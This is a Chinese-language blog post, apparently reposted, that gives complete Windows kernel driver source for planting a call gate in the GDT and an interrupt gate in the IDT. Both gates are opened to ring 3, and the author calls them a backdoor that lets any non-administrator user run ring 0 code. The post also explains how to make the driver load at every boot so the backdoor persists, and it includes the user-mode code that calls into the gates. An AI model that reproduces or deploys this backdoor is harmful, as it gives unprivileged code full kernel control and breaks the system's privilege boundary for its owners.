隐形人魔:任意用户模式下执行 ring 0 代码

来源:百度文库 编辑:九乡新闻网 时间:2024/04/28 15:10:11
任意用户模式下执行 ring 0 代码分类: 内核驱动C/C++2011-05-03 22:3616人阅读评论(0)收藏举报

众所周知在非 Admin 用户模式下,是不允许加载驱动执行 RING 0 代码的。
本文提供了一种方法,通过修改系统 GDT,IDT 来添加自己的 CALLGATE 和
INTGATE 这样便在系统中设置了一个后门。我们就可以利用这个后门
在任意用户模式下执行 ring 0 代码了。为了保证我们添加的 CALLGATE 和 INT
GATE 永久性。可以在第一次安装时利用 SERVICE API 或 INF 文件设置成随
系统启动。不过此方法也有个缺陷,就是在第一次安装 CALLGATE 或 INTGATE
时仍然需要 ADMIN 权限。下面分别给出了添加 CALLGATE 与 INTGATE 的具体
代码。

 

一、通过添加调用门实现

为了可以让任意用户来调用我们的 CALLGATE 需要解决一个小问题。因为
需要知道 CALLGATE 的 SELECTOR 后才可以调用。而在 RING 3 下除了能
得到 GDT 的 BASE ADDRESS 和 LIMIT 外是无法访问 GDT 内容的。我本想
在 RING 0 把 SELECTOR 保存到文件里。在 RING 3 下读取出来再调用。
后经过跟 wowocock 探讨。他提出的思路是在 RING 0 下通过
ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然后根据
PE HEADER 中的空闲处存放 SELECTOR。这样在 RING 3 的任意用户模式下
就很容易得到了。在这里要特别感谢 wowocock。下面的代码为了演示
方便,用了在我机器上 GDT 中第一个空闲描述符的 SELECTOR 。


驱动程序:


  1. /*****************************************************************
  2. 文件名 : WssAddCallGate.c
  3. 描述 : 添加调用门
  4. 作者 : sinister
  5. *****************************************************************/
  6. #include "ntddk.h"
  7. #include "string.h"
  8. #ifndef DWORD
  9. #define DWORD unsigned int
  10. #endif
  11. #ifndef WORD
  12. #define WORD unsigned short
  13. #endif
  14. #define LOWORD(l) ((unsigned short)(unsigned int)(l))
  15. #define HIWORD(l) ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))
  16. typedef unsigned long ULONG;
  17. static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
  18. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
  19. #pragma pack(push,1)
  20. typedef struct tagGDTR{
  21. WORD wLimit;
  22. DWORD *dwBase;
  23. }GDTR, *PGDTR;
  24. typedef struct tagGDT_DESCRIPTOR{
  25. unsigned limit : 16;
  26. unsigned baselo : 16;
  27. unsigned basemid : 8;
  28. unsigned type : 4;
  29. unsigned system : 1;
  30. unsigned dpl : 2;
  31. unsigned present : 1;
  32. unsigned limithi : 4;
  33. unsigned available : 1;
  34. unsigned zero : 1;
  35. unsigned size : 1;
  36. unsigned granularity : 1;
  37. unsigned basehi : 8;
  38. }GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;
  39. typedef struct tagCALLGATE_DESCRIPTOR{
  40. unsigned short offset_0_15;
  41. unsigned short selector;
  42. unsigned char param_count : 4;
  43. unsigned char some_bits : 4;
  44. unsigned char type : 4;
  45. unsigned char app_system : 1;
  46. unsigned char dpl : 2;
  47. unsigned char present : 1;
  48. unsigned short offset_16_31;
  49. } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
  50. #pragma pack(pop)
  51. void __declspec(naked) Ring0Call()
  52. {
  53. PHYSICAL_ADDRESS PhyAdd;
  54. __asm {
  55. pushad
  56. pushfd
  57. cli
  58. }
  59. DbgPrint("WSS - My CallGate /n");
  60. //
  61. // 这里可以添加你想要执行的 ring 0 代码。
  62. //
  63. __asm {
  64. popfd
  65. popad
  66. retf
  67. }
  68. }
  69. VOID AddCallGate( ULONG FuncAddr )
  70. {
  71. GDTR gdtr;
  72. PGDT_DESCRIPTOR gdt;
  73. PCALLGATE_DESCRIPTOR callgate;
  74. WORD wGDTIndex = 1;
  75. __asm {
  76. sgdt gdtr // 得到 GDT 基地址与界限
  77. }
  78. gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 ); // 跳过空选择子
  79. while ( wGDTIndex < ( gdtr.wLimit / 8 ) )
  80. {
  81. if ( gdt->present == 0 ) //从 GDT 中找到空描述符
  82. {
  83. callgate = (PCALLGATE_DESCRIPTOR)gdt;
  84. callgate->offset_0_15 = LOWORD(FuncAddr);
  85. callgate->selector = 8; // 内核段选择子
  86. callgate->param_count = 0; // 参数复制数量
  87. callgate->some_bits = 0;
  88. callgate->type = 0xC; // 386调用门
  89. callgate->app_system = 0; // 系统描述符
  90. callgate->dpl = 3; // RING 3 可调用
  91. callgate->present = 1; // 设置存在位
  92. callgate->offset_16_31 = HIWORD(FuncAddr);
  93. DbgPrint("Add CallGate/n");
  94. return;
  95. }
  96. gdt ++;
  97. wGDTIndex ++;
  98. }
  99. }
  100. // 驱动入口
  101. NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
  102. {
  103. UNICODE_STRING nameString, linkString;
  104. PDEVICE_OBJECT deviceObject;
  105. NTSTATUS status;
  106. HANDLE hHandle;
  107. int i;
  108. //卸载驱动
  109. DriverObject->DriverUnload = DriverUnload;
  110. //建立设备
  111. RtlInitUnicodeString( &nameString, L"//Device//WssAddCallGate" );
  112. status = IoCreateDevice( DriverObject,
  113. 0,
  114. &nameString,
  115. FILE_DEVICE_UNKNOWN,
  116. 0,
  117. TRUE,
  118. &deviceObject
  119. );
  120. if (!NT_SUCCESS( status ))
  121. return status;
  122. RtlInitUnicodeString( &linkString, L"//DosDevices//WssAddCallGate" );
  123. status = IoCreateSymbolicLink (&linkString, &nameString);
  124. if (!NT_SUCCESS( status ))
  125. {
  126. IoDeleteDevice (DriverObject->DeviceObject);
  127. return status;
  128. }
  129. AddCallGate((ULONG)Ring0Call);
  130. for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
  131. DriverObject->MajorFunction[i] = MydrvDispatch;
  132. }
  133. DriverObject->DriverUnload = DriverUnload;
  134. return STATUS_SUCCESS;
  135. }
  136. //处理设备对象操作
  137. static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
  138. {
  139. Irp->IoStatus.Status = STATUS_SUCCESS;
  140. Irp->IoStatus.Information = 0L;
  141. IoCompleteRequest( Irp, 0 );
  142. return Irp->IoStatus.Status;
  143. }
  144. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
  145. {
  146. UNICODE_STRING nameString;
  147. RtlInitUnicodeString( &nameString, L"//DosDevices//WssAddCallGate" );
  148. IoDeleteSymbolicLink(&nameString);
  149. IoDeleteDevice(pDriverObject->DeviceObject);
  150. return;
  151. }
  152. 应用程序:
  153. #include
  154. #include
  155. void main()
  156. {
  157. WORD farcall[3];
  158. farcall[0] = 0x0;
  159. farcall[1] = 0x0;
  160. farcall[2] = 0x4b; //在我机器上,添加 CALLGATE 的选择子为 4BH
  161. _asm call fword ptr [farcall]
  162. }

 

二、通过添加中断门实现

添加中断门没有什么需要解决的问题。直接在 RING 3 利用 int x
即可切换。想想系统调用 INT 2E 就很容易理解了。


  1. /*****************************************************************
  2. 文件名 : WssMyInt.c
  3. 描述 : 添加中断门
  4. 作者 : sinister
  5. *****************************************************************/
  6. #include "ntddk.h"
  7. #pragma pack(1)
  8. typedef struct tagIDTR {
  9. short Limit;
  10. unsigned int Base;
  11. }IDTR, *PIDTR;
  12. typedef struct tagIDTENTRY {
  13. unsigned short OffsetLow;
  14. unsigned short Selector;
  15. unsigned char Reserved;
  16. unsigned char Type:4;
  17. unsigned char Always0:1;
  18. unsigned char Dpl:2;
  19. unsigned char Present:1;
  20. unsigned short OffsetHigh;
  21. } IDTENTRY, *PIDTENTRY;
  22. #pragma pack()
  23. #define MYINT 0x76
  24. extern VOID _cdecl MyIntFunc();
  25. CHAR IDTBuffer[6];
  26. IDTENTRY OldIdt;
  27. PIDTR idtr = (PIDTR)IDTBuffer;
  28. static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
  29. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
  30. // 我们得中断处理函数
  31. VOID _cdecl MyIntFunc()
  32. {
  33. PHYSICAL_ADDRESS PhyAdd;
  34. unsigned int dwCallNum;
  35. unsigned int dwVAddr;
  36. _asm mov dwCallNum,eax
  37. //
  38. // 这里可以添加你想要执行的 ring 0 代码
  39. //
  40. switch ( dwCallNum )
  41. {
  42. case 0x01:
  43. DbgPrint("MyIntGate eax = 0x01/n");
  44. break;
  45. case 0x02:
  46. DbgPrint("MyIntGate eax = 0x02/n");
  47. break;
  48. default:break;
  49. }
  50. _asm iretd; //中断返回
  51. }
  52. NTSTATUS AddMyInt()
  53. {
  54. PIDTENTRY Idt;
  55. //得到 IDTR 中得段界限与基地址
  56. _asm sidt IDTBuffer
  57. Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址
  58. //保存原有得 IDT
  59. RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt));
  60. //禁止中断
  61. _asm cli
  62. //设置 IDT 表各项添加我们得中断
  63. Idt[MYINT].OffsetLow = (unsigned short)MyIntFunc; //取中断处理函数低16位
  64. Idt[MYINT].Selector = 8; //设置内核段选择子
  65. Idt[MYINT].Reserved = 0; //系统保留
  66. Idt[MYINT].Type = 0xE; //设置0xE表示是中断门
  67. Idt[MYINT].Always0 = 0; //系统保留必须为0
  68. Idt[MYINT].Dpl = 3; //描述符权限,设置为允许 RING 3 进程调用
  69. Idt[MYINT].Present = 1; //存在位设置为1表示有效
  70. Idt[MYINT].OffsetHigh = (unsigned short)((unsigned int)MyIntFunc>>16); //取中断处理函数高16位
  71. //开中断
  72. _asm sti
  73. return STATUS_SUCCESS;
  74. }
  75. //删除中断
  76. void RemoveMyInt()
  77. {
  78. PIDTENTRY Idt;
  79. Idt = (PIDTENTRY)idtr->Base;
  80. _asm cli
  81. //恢复 IDT
  82. RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt));
  83. _asm sti
  84. }
  85. // 驱动入口
  86. NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
  87. {
  88. UNICODE_STRING nameString, linkString;
  89. //UNICODE_STRING deviceString;
  90. PDEVICE_OBJECT deviceObject;
  91. NTSTATUS status;
  92. WCHAR wBuffer[200];
  93. nameString.Buffer = wBuffer;
  94. nameString.MaximumLength = 200;
  95. //卸载驱动
  96. DriverObject->DriverUnload = DriverUnload;
  97. //建立设备
  98. RtlInitUnicodeString( &nameString, L"//Device//WSSINT" );
  99. status = IoCreateDevice( DriverObject,
  100. 0,
  101. &nameString,
  102. FILE_DEVICE_UNKNOWN,
  103. 0,
  104. TRUE,
  105. &deviceObject
  106. );
  107. if (!NT_SUCCESS( status ))
  108. return status;
  109. RtlInitUnicodeString( &linkString, L"//??//WSSINT" );
  110. //使WIN32应用程序可见
  111. status = IoCreateSymbolicLink (&linkString, &nameString);
  112. if (!NT_SUCCESS( status ))
  113. {
  114. IoDeleteDevice (DriverObject->DeviceObject);
  115. return status;
  116. }
  117. AddMyInt();
  118. DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
  119. DriverObject->MajorFunction[IRP_MJ_CLOSE] = MydrvDispatch;
  120. return STATUS_SUCCESS;
  121. }
  122. static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
  123. {
  124. NTSTATUS status;
  125. UNREFERENCED_PARAMETER( DeviceObject );
  126. Irp->IoStatus.Status = STATUS_SUCCESS;
  127. Irp->IoStatus.Information = 0L;
  128. status = STATUS_SUCCESS;
  129. IoCompleteRequest( Irp, 0 );
  130. return status;
  131. }
  132. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
  133. {
  134. UNICODE_STRING nameString;
  135. UNICODE_STRING deviceString,driveString;
  136. NTSTATUS ntStatus;
  137. RemoveMyInt();
  138. //删除WIN32可见
  139. IoDeleteSymbolicLink(&nameString);
  140. //删除设备
  141. IoDeleteDevice(pDriverObject->DeviceObject);
  142. return;
  143. }